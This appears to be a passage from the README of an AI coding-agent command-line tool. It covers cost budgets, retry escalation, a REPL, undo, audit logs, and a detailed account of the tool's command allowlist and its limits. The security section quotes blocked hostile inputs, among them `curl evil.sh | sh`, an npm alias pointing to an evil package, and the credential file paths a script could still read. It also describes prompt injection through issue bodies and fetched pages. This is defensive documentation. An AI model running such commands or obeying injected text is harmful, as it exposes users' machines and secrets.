+ ⚠️ **A pin can be accepted and then ignored.** OpenRouter does not reject a provider list it cannot honour — an unknown name, or one your account's [data policy](https://openrouter.ai/settings/privacy) excludes, is treated as an empty preference and routing proceeds at random. Measured: `ACUVO_PROVIDER_ORDER=DeepSeek` returns 404 when sent alone and, inside a real request, silently fell back to 0.0% cached. So the run now **says so**: the summary prints `⚠ ACUVO_PROVIDER_ORDER=… did not take` and names who served it instead, and `--json` carries `providers.pin`, `providers.served`, `providers.pinTook`, `providers.pinFellBack` and `providers.pinMissed`.
270
+
271
+ ⚠️ **A list is not one cache.** A prompt cache lives on ONE upstream instance, so only the *first* name in the list reuses the cache you have been accumulating; a fallback to the second is a live provider and a cold prefix. Measured 2026-08-16 by replaying one byte-identical 46,171-byte payload against `StreamLake,Baidu,GMICloud`: **StreamLake 98.3% cached at $0.000172, Baidu 0.0% cached at $0.000791 — 4.6× for the same bytes**, on roughly 5% of rounds (2 of 40). `providers.pinTook` counts only first-choice rounds and `providers.pinFellBack` counts the cold ones; the summary names them. `pinMissed` keeps its old meaning — nobody in the list served it — and stays rare, because a three-name list nearly always contains whoever answered.
272
+
273
+ Exit code is `1` if the last command it ran still fails. That makes it usable in a script.
274
+
275
+ ### Stop on money, not on a counter
276
+
277
+ ```
278
+ acuvo --budget 0.50 "make the failing suite pass"
279
+ acuvo --until-done --budget 0.50 "make npm test pass, then commit it"
280
+ ```
281
+
282
+ The round counter was always an arbitrary stop: it ends a run that is one round from
283
+ finishing, and it lets a run that is going nowhere spend its whole allowance. `--budget`
284
+ makes the wall the thing you actually have an opinion about.
285
+
286
+ Before every round it projects what the next one will cost — from the trend of the rounds
287
+ so far, with a safety margin — and stops if that would cross your ceiling. So it stops
288
+ *before* the round that would exceed the budget, not after. It also **refuses to start**
289
+ when it cannot afford even one round, so a `--budget 0.000001` typo costs nothing instead
290
+ of buying one round to discover it was hopeless.
291
+
292
+ The run prints one line at the end:
293
+
294
+ ```
295
+ budget: $0.0048 of $0.0500 spent · 4 rounds · next ~$0.0013 · $0.0452 left
296
+ ```
297
+
298
+ ⚠️ **Two honest limits.** A round that comes back with no reported cost is *estimated* from
299
+ its token count at a single blended rate, and the line says so (`⚠ 1 of 3 rounds reported no
300
+ cost, so the total is an estimate`) rather than printing a confident total. And the overshoot
301
+ bound is **one round, not zero**: a cost curve growing faster than ~1.4× per round can cross
302
+ the line by at most that round's own cost. If you need a hard guarantee, leave headroom.
303
+
304
+ ⚠️ **`--until-done` will not run without `--budget`.** An unbounded loop against a paid API,
305
+ unattended, is the one thing this CLI refuses to do. With both flags it stops accepting the
306
+ model's own "I am finished" while a criterion you declared with `declare_acceptance` has not
307
+ actually passed — up to three times, then it stops and records the criterion as unmet. It
308
+ still stops immediately on the budget, and it stops if the loop detector sees the same
309
+ circular pattern twice.
310
+
311
+ ⚠️ `--budget` and `--parallel` together are refused rather than silently multiplied: a
312
+ ceiling for one conversation applied to three tasks is three times the number you typed.
313
+
314
+ ### Escalation: trying harder costs money, so it is budgeted
315
+
316
+ `--until-done --budget 2.00` does not just retry. It **climbs**, and each rung is entered
317
+ only if the remaining budget covers it:
318
+
319
+ | rung | what it does |
320
+ |---|---|
321
+ | `solo` | one attempt. What every run does. Cheapest. |
322
+ | `fresh` | the same task in a **new context**, carrying the failure and *not* the transcript. The context that produced a loop is the one least able to escape it. |
323
+ | `best-of` | several independent attempts in isolated copies of the workspace; whichever **verifies** is the one applied. |
324
+
325
+ ```
326
+ $ acuvo --until-done --budget 2.00 "make the suite pass"
327
+ ↑ solo did not verify — escalating to fresh (~0.0019 projected, 0.0081 left)
328
+ ...
329
+ the ladder (each rung ran on its own slice of --budget):
330
+ ✖ solo $0.0016 would-exceed
331
+ ✔ fresh $0.0019 verified
332
+ → verified at the fresh rung for $0.0035.
333
+ ```
334
+
335
+ Why this exists: a task costs on the order of **$0.0007**, so three attempts here cost less
336
+ than one attempt on frontier pricing. "One attempt, be smart" is a constraint of the price,
337
+ not of the problem.
338
+
339
+ Four things it will not do:
340
+
341
+ - **Start a rung it cannot finish.** Half a best-of spends real money and applies nothing,
342
+ because the winner is chosen by comparison.
343
+ - **Guess what a rung costs.** `best-of n` is projected at n times what the last attempt
344
+ actually cost, because it is literally n of them.
345
+ - **Hide a rung it skipped.** "It failed" and "it failed and I could not afford to try
346
+ harder" are different facts, and only one of them means *raise the budget*. The report
347
+ says which.
348
+ - **Buy the same failure three times.** A missing API key, an exhausted balance or a model
349
+ id that does not exist will fail identically on every rung, so it stops and says so
350
+ instead of paying to prove it twice more.
351
+
352
+ Each rung runs on its **own slice** of `--budget` (weighted 1 : 1.4 : 3), so the first
353
+ attempt cannot spend the whole ceiling and leave nothing to escalate with. The budget is a
354
+ ceiling, not a target — when the first rung verifies, the rest is never spent.
355
+
356
+ #### Escalating the model too
357
+
358
+ By default every rung uses the model you are already on. Set `ACUVO_MODEL_TIERS` —
359
+ cheapest first — and each rung steps up:
360
+
361
+ ```bash
362
+ ACUVO_MODEL_TIERS="deepseek/deepseek-v4-flash-0731,deepseek/deepseek-chat,z-ai/glm-4.6"
363
+ ```
364
+
365
+ ⚠️ **It is off unless you configure it, and that default is arithmetic rather than
366
+ caution.** The budget projects each rung from what the *previous* one measurably cost,
367
+ which is sound while the model is constant and wrong the moment it is not — a rung on a
368
+ model costing 20× per token would be projected at 3× a cheap attempt and waved through.
369
+ There is no price table in this package and a wrong one is worse than none, so
370
+ configuring tiers is you saying you know what they cost. When a rung does switch model,
371
+ the run says so out loud and the cost projection falls back to its floor rather than
372
+ trusting a number derived from a different model.
373
+
374
+ ### A REPL that remembers — and nothing else in this category has one
375
+
376
+ `evaluate` writes a snippet to a file and runs it in a fresh process. So does every
377
+ other terminal coding agent: Claude Code, Cursor, Codex and Aider all execute
378
+ statelessly, and none of them can hold a value between two thoughts.
379
+
380
+ That is not how anybody debugs. A human loads the module, looks at a real value,
381
+ pokes the object, tries the fix on the live thing:
382
+
383
+ ```
384
+ repl const m = await import("./lib/budget.mjs")
385
+ repl m.parseBudgetUsd("25c") → { ok: true, usd: 0.25 }
386
+ repl m.formatUsd(0.0025) → $0.0025
387
+ ```
388
+
389
+ Three lines, one process, and line 2 can see line 1. Statelessly that is three
390
+ scripts that each re-read and re-parse the file — which is why models rewrite a
391
+ whole script to answer a question a single expression would settle, and why each
392
+ rewrite is another paid round.
393
+
394
+ - **Top-level `await` works**, so `await import("./thing.mjs")` reaches your project.
395
+ - **It runs in the workspace**, with the real global — `process`, `fetch` and timers
396
+ behave exactly as they do in the code under test.
397
+ - **It tells you what it is holding.** Every reply lists the names in scope, so the
398
+ model never has to guess its own state.
399
+ - **`repl_reset`** throws the session away. ⚠️ Imports are cached, so reset after
400
+ editing a file you already imported — that is the one real trap.
401
+
402
+ ⚠️ A hanging expression **stops the session** rather than blocking every later call:
403
+ the driver is single-threaded, and a REPL that answers nothing is worse than none.
404
+ Withheld by `--no-run` and in single-shot runs, like everything else that executes.
405
+
406
+ ### Long-running processes: it can start a server
407
+
408
+ `run_command` waits for a command to finish and kills it at a timeout, which is right for
409
+ `npm test` and makes a dev server impossible rather than slow. Three verbs cover the rest:
410
+
411
+ | tool | what it does |
412
+ |---|---|
413
+ | `start_process` | Start something that keeps running — a dev server, a watcher, a build in watch mode. Same allowlist as `run_command`. |
414
+ | `check_process` | Read what it has printed, whether it is still running, and — if it announced a port — whether it is **actually answering HTTP on localhost**. |
415
+ | `stop_process` | Stop it and everything it started. |
416
+
417
+ So the model can write a server, run it, and confirm it serves before telling you it works:
418
+
419
+ ```
420
+ round 3 start_process $ node server.mjs
421
+ round 4 check_process → HTTP 200 on http://localhost:4479/
422
+ round 5 stop_process
423
+ ✔ VERIFIED — `GET http://localhost:4479/` exited 0.
424
+ ```
425
+
426
+ ⚠️ **The localhost probe is not a hole in the fetch guard.** `fetch_url` still refuses
427
+ loopback and private addresses, because a page the model was told to read must not be able
428
+ to talk it into fetching an internal address. This connects only to a port **this tool
429
+ started**, discovered from that process's own output.
430
+
431
+ ⚠️ **Everything started this way is killed when the run ends** — on normal exit and on
432
+ Ctrl-C, with the whole process tree, not just the direct child. Four at a time, and the
433
+ refusal names the ones already running.
434
+
435
+ ### What has it cost me?
436
+
437
+ ```
438
+ acuvo spend # everything the log still holds
439
+ acuvo spend --since 7d # or 24h, 2w, or 2026-08-01
440
+ acuvo spend --json # one object, for a script
441
+ ```
442
+
443
+ Every run already appends one redacted line to `.acuvo/audit/<date>.jsonl` including its
444
+ cost; this reads them back. No API key, no completion, no network.
445
+
446
+ > ⚠️ **A run that never recorded a cost is shown separately and is NEVER counted as zero.**
447
+ > A run that died on a 401 did not bill anything and genuinely does not know what it cost —
448
+ > folding that in as `$0.00` would produce a total that is confidently too low, in the one
449
+ > report you open *because* you don't trust your memory of it. A real `$0.00` run (refused
450
+ > before any call) is a **known** zero and does count.
451
+ >
452
+ > The report also says how far back the log reaches, because `audit.mjs` prunes whole days —
453
+ > "all time" means "as far back as this still goes", and a total that silently starts
454
+ > mid-history is the same kind of lie.
455
+
456
+ ### Several terminals, one checkout
457
+
458
+ ```
459
+ acuvo --lease src/api.ts --lease src/db.ts "add the pagination"
460
+ acuvo leases # who holds what, and since when. No API key needed.
461
+ ```
462
+
463
+ Leases are per **path**, not per repo — a repo-wide lock would idle six of seven terminals.
464
+ They are taken before anything is spent, heartbeated between rounds, and released when the
465
+ process exits however it exits. A stale one becomes reclaimable only after its TTL *plus* a
466
+ grace period of silence, so a slow model round cannot make a working terminal look dead.
467
+
468
+ ⚠️ **This is a declaration, not a guarantee.** A coding agent does not know which files it
469
+ will write until it writes them, so `--lease` protects exactly the paths you name. Making
470
+ coverage automatic means calling `acquire()` inside the executor's write path — that work is
471
+ not done, and pretending otherwise would be worse than the gap.
472
+
473
+ ⚠️ Two defaults moved and this table was wrong about both for a while: `--max-rounds` was
474
+ documented as 3 and `--max-tokens` as 8000. The numbers above are the exported constants,
475
+ and `test/docs-truth.test.mjs` now fails the suite if the README and the code disagree
476
+ again. `acuvo --help` prints the same values from the same constants — trust either.
477
+
478
+ ### Undo — `acuvo rewind`
479
+
480
+ Verified end to end on a real run, 2026-08-14:
481
+
482
+ ```
483
+ $ acuvo "add a multiply function to math.mjs, write a README, and delete stale.txt"
484
+ ✎ replaced math.mjs ✎ created README.md ✂ deleted stale.txt
485
+ · checkpoint 20260814-084541-84u8 — 3 files can be put back: acuvo rewind 20260814-084541-84u8
486
+
487
+ $ acuvo rewind 20260814-084541-84u8
488
+ ✔ restored math.mjs
489
+ ✔ restored stale.txt
490
+ ✔ deleted README.md — the agent created it
491
+ 2 restored · 1 deleted
492
+ ```
493
+
494
+ Every mutation goes through two functions (`writeFile` and `deleteFile` in `lib/workspace.mjs`),
495
+ so the previous bytes are copied at the moment they still exist — one read of a file that is
496
+ about to be overwritten anyway. Blobs are content-addressed: three writes to one file store
497
+ **two** blobs when two of them left it the same. Nothing is created until a run mutates
498
+ something, and `--dry-run` records nothing at all.
499
+
500
+ ⚠️ **`rewind <id>` means "put the files back the way they were before that run started"**, so it
501
+ covers that run *and everything after it*. Undoing an older run while a newer one sits on top
502
+ would produce a state no moment in time ever had, which is not a checkpoint.
503
+
504
+ ⚠️ **It refuses any file you changed yourself after the run** — the sha256 of what the agent
505
+ left is recorded, and a file that is no longer that is skipped by name with the reason.
506
+ `--force` overrides. Nothing restored because everything conflicted exits **3**, not 0.
507
+
508
+ ⚠️ **The agent cannot edit its own undo history.** `.acuvo/` is hard-refused on the executor's
509
+ write path (`agentWriteRefusal`, `lib/workspace.mjs`) — reads are untouched, so it can still
510
+ explain what it did.
511
+
512
+ ### Runs are saved, and every run leaves a record
513
+
514
+ Verified by running it, 2026-08-10:
515
+
516
+ | flag | what it does |
517
+ |---|---|
518
+ | `--sessions` | List the runs saved in this workspace, newest first, and exit. Needs no API key. |
519
+ | `--resume <id>` | Carry on from a saved run. Add an instruction to steer it: `--resume <id> "now add tests"`. |
520
+ | `--continue` | The same, on the most recent resumable run. |
521
+ | `--no-session` | Do not save this run. |
522
+ | `--no-audit` | Do not append this run to the audit log. |
523
+ | `--replay <id>` | Step through a saved run: every round, call, result and refusal. Runs **nothing** and writes nothing. |
524
+ | `--replay <id> --only <what>` | Narrow it: `refusals`, `writes`, `runs`, `effects`, `reasoning`. A filtered call brings its result with it. |
525
+ | `--replay <a> --diff <b>` | Compare two runs and name the step where they split. |
526
+
527
+ `--replay` is how you answer "what did it actually do on Tuesday" after the terminal has
528
+ closed. Real output, from a run made while writing this:
529
+
530
+ ```
531
+ run 20260811-034506-nr33 · deepseek/deepseek-v4-flash-0731 · 2 rounds · $0.000921
532
+ ⚠ REPLAY — nothing here was re-run. Every line below is what happened then.
533
+ ── round 1 ─────────────────────────────────────────────
534
+ → call write_file path="slug.mjs" content="export function slugify(s) {…"… (144 chars)
535
+ ✔ result created slug.mjs (144 bytes)
536
+ ── round 2 ─────────────────────────────────────────────
537
+ → call run_command command="node --test slug.test.mjs"
538
+ ✔ passed exit code: 0 (0.4s) — PASSED
539
+ counts 3 calls · 0 refused · 2 writes · 1 runs
540
+ ```
541
+
542
+ ⚠️ It **re-runs nothing** — same invariant `--resume` holds, and for the same reason: a
543
+ replay that re-executed would be a command run twice by someone who typed it once. The JSON
544
+ form says so in a field (`executed: false`) rather than only in prose.
545
+
546
+ A finished run writes two things into the workspace: `.acuvo/sessions/<id>.json`, so a
547
+ follow-up rebuilds the conversation instead of re-paying for the whole gather, and one
548
+ line of `.acuvo/audit/<date>.jsonl` — what was asked, what changed, what verified, what it
549
+ cost. Measured: the second turn of a resumed task cost **11,516 tokens against the first
550
+ turn's 17,312**.
551
+
552
+ The audit line carries no file contents, no command output and no model prose, and it is
553
+ run through a redactor first (`redact`, `lib/audit.mjs`) — an OpenRouter key in your task
554
+ text comes out as `[redacted:api-key]`. `--dry-run` writes neither file, because a dry run
555
+ that creates two files has broken its own promise.
556
+
557
+ ---
558
+
559
+ ## Three things it does that a coding agent usually cannot
560
+
561
+ ### Fix a GitHub issue
562
+
563
+ ```bash
564
+ acuvo --issue 42
565
+ ```
566
+
567
+ Reads the issue, creates `fix/42-<slug>`, finds the cause, fixes it, runs the tests.
568
+
569
+ It **stops there**. No push, no pull request — it prints the exact `git push` and `gh pr create`
570
+ for you to run. An agent that opens a PR because it believed it was finished is an agent that
571
+ embarrasses you in front of your team. If you already use `gh`, it reuses that login.
572
+
573
+ ⚠️ The issue body is treated as untrusted input. Anyone can open an issue on a public repo, so it
574
+ is quoted to the model as *a report to investigate*, never as instructions to follow.
575
+
576
+ ### Several tasks at once
577
+
578
+ ```bash
579
+ acuvo --parallel "add tests for the parser" "write the README" --concurrency 3
580
+ ```
581
+
582
+ The interesting part is not the speed, it is the collision. Two agents in one workspace will
583
+ eventually write the same file, and whoever finishes second wins — silently. Acuvo records what
584
+ each task wrote, **names any file written by more than one of them**, and exits 1 so
585
+ `acuvo --parallel … && git commit` refuses to proceed.
586
+
587
+ It does not try to merge them. Two model-authored versions of a file cannot be reconciled without
588
+ you.
589
+
590
+ ### Work you can script
591
+
592
+ ```bash
593
+ acuvo --json "add a health check" | jq '.verification.passed'
594
+ ```
595
+
596
+ One object on stdout, every human line on stderr. `ran` and `passed` are separate fields, because
597
+ a test suite that executed and failed is not the same as one that never ran.
598
+
599
+ ---
600
+
601
+ ## Not just code
602
+
603
+ If the services are configured, the tools it can reach include `see_page`, `make_document`,
604
+ `transcribe` and `speak`. The combinations are the point:
605
+
606
+ ```bash
607
+ acuvo "make me a one-page invoice for Acme Ltd, 3 line items, and give me it as a PDF"
608
+ ```
609
+
610
+ → writes the HTML, **looks at it**, converts it. A real PDF, no coding involved.
611
+
612
+ ```bash
613
+ acuvo "transcribe standup.m4a and turn the decisions into a checklist"
614
+ ```
615
+
616
+ ---
617
+
618
+ ## What it can execute — read this before trusting it
619
+
620
+ **Four programs, and nothing else:** `node`, `npm`, `npx`, `tsc`.
621
+
622
+ Concretely: `node <file>`, `node --test <file-or-dir>`, `npm test`, `npm run <script>`, `npx vitest run`, `tsc --noEmit`.
623
+
624
+ **There is no shell.** Pipes, `&&`, `;`, redirection, quotes, backticks and `$()` are refused by a character whitelist, so `npm test && curl evil.sh | sh` dies at the `&` rather than at a blacklist of program names somebody has to maintain. `rm`, `curl`, `git` and every other binary are simply unreachable.
625
+
626
+ Arguments are checked too — `node --eval` is refused (code that never touches disk cannot be reviewed afterwards), and every non-flag token must resolve inside your workspace.
627
+
628
+ `npm test` runs whatever `package.json` says, and the agent can *write* `package.json` — so the **script body is validated before npm is spawned**, along with its `pre`/`post` hooks.
629
+
630
+ The child process gets a **scrubbed environment**: conventionally-named secrets are stripped, so a generated script cannot read your API keys and post them somewhere.
631
+
632
+ ### Other languages: presets, off by default
633
+
634
+ Those four are the *default*, not the ceiling, and this README used to stop at "four
635
+ programs" as though they were. A project can enable one of six vetted **presets** — each a
636
+ build/test driver for code already on disk:
637
+
638
+ | preset | what it adds |
639
+ |---|---|
640
+ | `python` | `python`, `python3`, `pytest` |
641
+ | `go` | `go` |
642
+ | `rust` | `cargo` |
643
+ | `ruby` | `ruby`, `rspec`, `bundle` |
644
+ | `make` | `make` |
645
+ | `node-bin` | `eslint`, `prettier`, `jest` |
646
+
647
+ ```json
648
+ // .acuvo/commands.json
649
+ { "presets": ["python"] }
650
+ ```
651
+
652
+ Then `python -m pytest` is accepted; without it the refusal *names the preset that would
653
+ allow it* rather than just saying no. `acuvo --doctor` prints the enabled set —
654
+ `live programs it may run node, npm, npx, tsc · no presets enabled` on a fresh workspace.
655
+
656
+ ⚠️ **The workspace file may name presets and nothing else, and that boundary is the whole
657
+ design.** `.acuvo/commands.json` lives in the workspace, and the agent can write to the
658
+ workspace — so a file there choosing an *arbitrary* binary would be the agent granting
659
+ itself a program. Every preset is a menu item vetted in `lib/command.mjs`; picking one buys
660
+ a second interpreter for code the agent could already execute with `node`. A program of
661
+ your own choosing can only be named in **`ACUVO_ALLOW_COMMANDS`**, in the environment that
662
+ launches the CLI, which the agent has no verb that reaches. A shell (`bash`, `sh`, `cmd`,
663
+ `powershell`, `env`, `xargs`, …) is refused at every layer including that one.
664
+
665
+ ### Adding a dependency — `ACUVO_ALLOW_INSTALL=1`, off by default
666
+
667
+ "Add zod validation to this endpoint" used to dead-end: the agent wrote the import and had
668
+ no verb that could ever make it resolve. `npm install` is now available, and **only** when
669
+ the operator sets `ACUVO_ALLOW_INSTALL=1` in the environment that launches the CLI.
670
+
671
+ ⚠️ **It is deliberately not a preset.** A preset can be enabled by a file inside the
672
+ workspace, and the sentence above — *"picking one buys a second interpreter for code the
673
+ agent could already execute"* — has to stay true. An install is not an interpreter, it is a
674
+ **downloader**: it runs code that arrived from a stranger seconds ago and that nobody has
675
+ read. So it uses the same door as `ACUVO_ALLOW_PUSH`, the only other verb whose blast
676
+ radius leaves your machine.
677
+
678
+ When it is on, the narrowing is the point:
679
+
680
+ - **`--ignore-scripts` is forced**, derived from the argv at spawn time, so no caller can
681
+ forget it and no flag or `.npmrc` can switch it back on. Install hooks are how essentially
682
+ every npm supply-chain worm has propagated. ⚠️ **The cost is real and named:** packages
683
+ that compile a native addon or download a binary at install time (`esbuild`, `sharp`,
684
+ `better-sqlite3`, `puppeteer`) will land on disk and fail at require time. The tool result
685
+ says so on every install, so the agent can tell you rather than flail.
686
+ - **Registry names only** — no URL, git, `file:`, GitHub `user/repo`, or `npm:` alias. The
687
+ alias is the nasty one: `zod@npm:evil-package` leaves `package.json` reading `zod`.
688
+ - **A version, not a range.** `zod`, `zod@4.1.12`, `zod@^4.1.0`, `zod@latest`. Not `zod@*`.
689
+ - **At most four packages per call**, and `npm ci` may name none (it installs exactly what
690
+ the lockfile already records).
691
+ - **The change is saved.** `--no-save` and `--no-package-lock` are refused — an install
692
+ nobody can see in a diff is worse than no install. The result reports the exact line npm
693
+ wrote into `package.json`.
694
+ - **A workspace `.npmrc` that redirects `registry=`, sets `ignore-scripts=false`, or names a
695
+ `script-shell` refuses the install.** That file is inside the workspace and the agent can
696
+ write it, so without this check every rule above would be decorative.
697
+ - **`npm exec` and `npm publish` have no switch at all**, and an install can never be a
698
+ background process.
699
+
700
+ ⚠️⚠️ **What none of this solves, stated plainly: a package name chosen by a language model
701
+ is not safe.** `zod` and `zodd` are both well-formed names, and the Shai-Hulud npm worm
702
+ shipped payloads inside AI coding-agent config files precisely because agents install what
703
+ they are told to install. No regex separates a typosquat from the real thing. What forced
704
+ `--ignore-scripts` buys is that a typosquat which lands has **not executed** — it is code in
705
+ `node_modules` that runs only if the agent's own code imports it, which is the same risk
706
+ class as `node <file the model wrote>` rather than the strictly worse "arbitrary code ran
707
+ during a command that looked like housekeeping".
708
+
709
+ ### ⚠️ There is a second execution path, and this section used to omit it
710
+
711
+ `evaluate` (`lib/evaluate.mjs`) runs a JavaScript snippet the model wrote. It exists because
712
+ the model kept reaching for `node -e "…"`, which dies on the quote whitelist above and burns
713
+ a round — so it was given the thing instead of another sentence telling it not to.
714
+
715
+ **It does not go through the command whitelist at all.** It writes the snippet to
716
+ `.acuvo-eval-<pid>-<ts>.mjs` at the workspace root and spawns `node <that file>` directly, so
717
+ `ALLOWED_BINARIES`, the argument grammar and the `npm` script-body validation described above
718
+ **do not apply to it**. Omitting that from this section was the omission worth naming: the
719
+ paragraph claimed four programs and nothing else, and there was a fifth door.
720
+
721
+ What *does* apply, verified in the source:
722
+
723
+ - **`--no-run` removes it.** `evaluate` is only offered when running is allowed (`lib/tools.mjs`), so the flag documented as "never execute anything" is honest about it.
724
+ - **`--dry-run` refuses it** before anything is staged (`evaluateSnippet`).
725
+ - The same **workspace path rules**, the same **bounded spawn**, the same **scrubbed environment** as `run_command`.
726
+ - 4,000 characters maximum (`MAX_SNIPPET_CHARS`) — longer than that is a program, and programs get written properly.
727
+ - The file is removed in a `finally`, including on timeout, and the snippet is **echoed back in the result**, which is what keeps the `node --eval` audit objection satisfied.
728
+
729
+ The honest summary: `evaluate` cannot do anything `write_file` + `run_command` could not
730
+ already do in two calls, which is the right test for any new capability. But it *is* a code
731
+ execution path, and a security section that lists execution paths has to list it.
732
+
733
+ ### And a third: `run_program`
734
+
735
+ `run_program` (`lib/spawn-argv.mjs`) starts a process too, so by the same rule it belongs in
736
+ this list. It exists because the paragraph above is not only a security boundary, it is also
737
+ a **capability ceiling**: a string runner cannot tell `node app.js add "buy milk"` from a
738
+ model composing a second command, so it refuses the quote — and the agent could not execute
739
+ the flags and arguments it had *itself just written*. Measured in three probe runs; two of
740
+ them shipped a README describing output that had never been produced.
741
+
742
+ What applies to it, verified in the source:
743
+
744
+ - **The same four programs.** `ALLOWED_BINARIES` is imported from `lib/command.mjs`, not
745
+ re-declared. Every `node` flag *before* the script path is checked by asking
746
+ `validateCommand` about that one token, so `--eval`, `--require`, `--import`, `--env-file`,
747
+ `--inspect` and `--watch` stay closed with `command.mjs`'s own refusal sentence. There is
748
+ one authority and no second copy to drift.
749
+ - **It is a strict subset, never a widening.** `.acuvo/commands.json` may only *add* presets,
750
+ so the four fixed binaries here can never exceed what `run_command` would allow on the same
751
+ machine. The asymmetry runs the other way: if you enabled the `python` preset, that reaches
752
+ you through `run_command` only.
753
+ - **No shell, ever.** `spawn` with `shell: false` and an argv array. A quote, a space, a
754
+ `--flag`, a `;` or a `>` is *data in an argv slot* — there is no parser left to reinterpret
755
+ it, which is why widening the character whitelist was the wrong fix.
756
+ - **`--no-run` withholds it and `--dry-run` refuses it**, both at the offer *and* at the
757
+ dispatcher, because a model can call a tool it was never shown.
758
+ - The same **bounded spawn**, **output cap** and **scrubbed environment** — plus it deletes
759
+ two variables `run_command` does not: `NODE_OPTIONS` (the flag allowlist's back door, read
760
+ by node before argv) and `NODE_TEST_CONTEXT` (which makes a nested `node --test` return
761
+ exit 0 and empty output — a silent green).
762
+ - **No detached spawning, and no process-group kill.** The child is SIGKILLed on timeout and
763
+ a grandchild it spawned can outlive it. Stated rather than papered over.
764
+
765
+ ### ⚠️ What this is not
766
+
767
+ **It is not a sandbox, and calling it one would be dishonest.** `node src/thing.js`, where a language model wrote `src/thing.js` thirty seconds ago, *is* arbitrary code execution — unavoidably, because running the code is the entire point of a fix loop.
768
+
769
+ The real boundary: the agent cannot compose a command, cannot pick a program, cannot pass arguments outside your workspace, and cannot see your credentials **in its environment**. The code it runs can still do anything Node can do. The mitigation is that the code is **on disk, written by tools that could not leave the workspace, and shown to you** before it runs.
770
+
771
+ ⚠️ Those three words matter and were missing. The scrub is a **denylist over environment
772
+ variable names** (`SECRET_NAME`, `lib/command.mjs`). It does not reach the filesystem: a
773
+ generated script can still read `~/.aws/credentials`, `~/.ssh/id_rsa` and
774
+ `~/.config/gh/hosts.yml`, and a variable named `MY_DB_STRING` survives the pattern. The
775
+ source says so about itself; this sentence used to round it up to "cannot see your
776
+ credentials", full stop.
777
+
778
+ Use `--dry-run` for a task you do not trust yet, or `--no-run` to let it write without
779
+ executing. Both now also block the MCP spawn described below — verified by running a
780
+ workspace containing a hostile `.mcp.json` under each flag.
781
+
782
+ ---
783
+
784
+ ## The rest of the verbs
785
+
786
+ The registry holds **64 tools** (`TOOL_SCHEMAS`, `lib/tools.mjs` — count it yourself, and
787
+ `acuvo --doctor` prints which of them would be offered on your machine). The obvious ones
788
+ are above; **the rest** reach the model in any multi-round run (`--max-rounds` above 1,
789
+ which is the default). You never name them — the model picks. They are listed because a
790
+ capability only the changelog knows about is unreachable in the way that matters.
791
+
792
+ | tool | what it does | when it is offered |
793
+ |---|---|---|
794
+ | `run_program` | Run `node` / `npm` / `npx` / `tsc` with a **real argument array** instead of a string. `run_command` has to guess whether a quote is you passing a value or the model composing a second command, so it refuses the character — which means `node bin/todo.js add "buy milk"`, `node bin/todo.js list --all` and `node --test "test/*.test.mjs"` were all unrunnable. Here each array item is exactly one argv slot, there is no shell and nothing re-parses it. | withheld by `--no-run` and by `--dry-run`, like every other way of starting a process |
795
+ | `read_lines` · `read_around` | Windowed reads of a large file. `read_file` truncates the **middle** of a big file and gives the model nothing to act on; these truncate the **end** and hand back a `nextOffset` to continue from. `read_around` returns byte-exact text with real indentation, which is the only safe source for an `edit_file` old\_string. | always |
796
+ | `list_engines` | **What a creative engine costs, before you spend one finding out.** Lists the Acuvo image/video/voice/face engines, whether each is on your plan, and the credit cost per image or clip. ⚠️ **This package holds no price list** — it asks your account's gateway and caches the answer under `~/.acuvo/`, because a price compiled into an npm package is the price that shipped the day you installed it, and a price in `node_modules` is one the person being billed can edit. With no answer it prints **prices unavailable** rather than a plausible number. | multi-round runs; needs no key of any kind |
797
+ | `fetch_url` | Fetch a public page as text. GET only, no headers, private and loopback addresses refused, 10 fetches per run. | always |
798
+ | `plan_start` · `plan_step` · `plan_status` | A visible plan with a **round countdown**. Every later round carries `plan: 1/3 done · 2 remaining: … · round 4 of 5`, so the model can see the wall it is driving at instead of spending its last round the way it spent its first. | always |
799
+ | `declare_acceptance` · `check_acceptance` | Name the command that decides whether the job is done, and run it. A **declared** criterion sets the exit code — see below. | withheld by `--no-run`, because `check_acceptance` executes commands |
800
+ | `list_sessions` | Lets the model see that an earlier run already attempted this. Read-only; resuming is an operator action, from the command line. | always |
801
+ | `read_skill` | Opens one of *your* procedures — see below. | only when `.acuvo/skills/` holds at least one skill |
802
+ | `delegate` | Hands a **read-only** research question to a helper with its own fresh context — "where is X defined", "which files call Y" — and gets back a short summary instead of everything it read. The helper is offered twelve tools, all of them reads (`SUBAGENT_TOOL_NAMES`, `lib/subagent.mjs`); it cannot write, edit, commit or run anything, it is capped at 6 rounds (4 by default), and **it cannot delegate again** (`MAX_SUBAGENT_DEPTH` = 1 — two levels is how a five-round task becomes a hundred model calls nobody authorised). | always, when model credentials reached the dispatcher — it is the one tool that spends a completion of its own, and it refuses rather than guessing a config |
803
+ | `remember` · `forget` | Facts that outlive the run. `remember` writes one markdown file per fact into `.acuvo/memory/`; the next run reads them back into the prompt, so it does not rediscover your real test command. `forget` deletes one, because a wrong memory is worse than no memory. Bounded at 40 entries / 4,000 bytes / 400 characters a fact, oldest evicted; every fact must carry a `why`, and anything that pattern-matches a credential is refused outright — *"these files are committed to the repo, so nothing secret can go in one"*. | always |
804
+ | `find_definition` · `find_references` · `check_types` · `list_symbols` | Real semantic navigation through a language server (typescript-language-server, pyright, rust-analyzer, gopls). | only when a server is installed **and** this project contains that language |
805
+
806
+ ⭐ **The two gates are the point, not a limitation.** A control that presents itself and
807
+ does nothing is worse than one that is absent: a model offered `check_types` on a machine
808
+ with no language server learns to try, wait and apologise. Measured while integrating
809
+ this: a zero-dependency JavaScript package was offering all four LSP tools because
810
+ `rust-analyzer` happened to be on the developer's `PATH` from unrelated work — installed,
811
+ useless here, and four dead buttons. The gate is now the intersection of *installed* and
812
+ *spoken by this project*.
813
+
814
+ ### Integrations — MCP, and the curated set
815
+
816
+ The 64 tools above are the ones we built, and that is a real ceiling: work that lives in
817
+ your database, your issue tracker or your browser needs an adapter nobody is going to
818
+ write. **Model Context Protocol** is the escape — an MCP server is just a process, so
819
+ breadth here is nearly free.
820
+
821
+ ⭐ **Which is exactly why access is not the edge — curation is.** Every agent in this
822
+ category speaks MCP and hands you an empty config file. What is scarce is a short list
823
+ somebody actually ran. `acuvo --doctor` prints ours, live, in the **MCP SERVERS** section:
824
+ what you have configured, then what you could have, with the reason each one is off and
825
+ the exact line that turns it on.
826
+
827
+ ```
828
+ MCP SERVERS
829
+ live curated servers 4 of 6 servers we have run ourselves are usable here
830
+ (acuvo, browser, docs, playwright) — 8 in the catalogue in total
831
+ live browser Drive a real Chrome: click, fill forms, type, navigate …
832
+ live docs Look up current, version-specific documentation …
833
+ dark filesystem @modelcontextprotocol/server-filesystem is not installed …
834
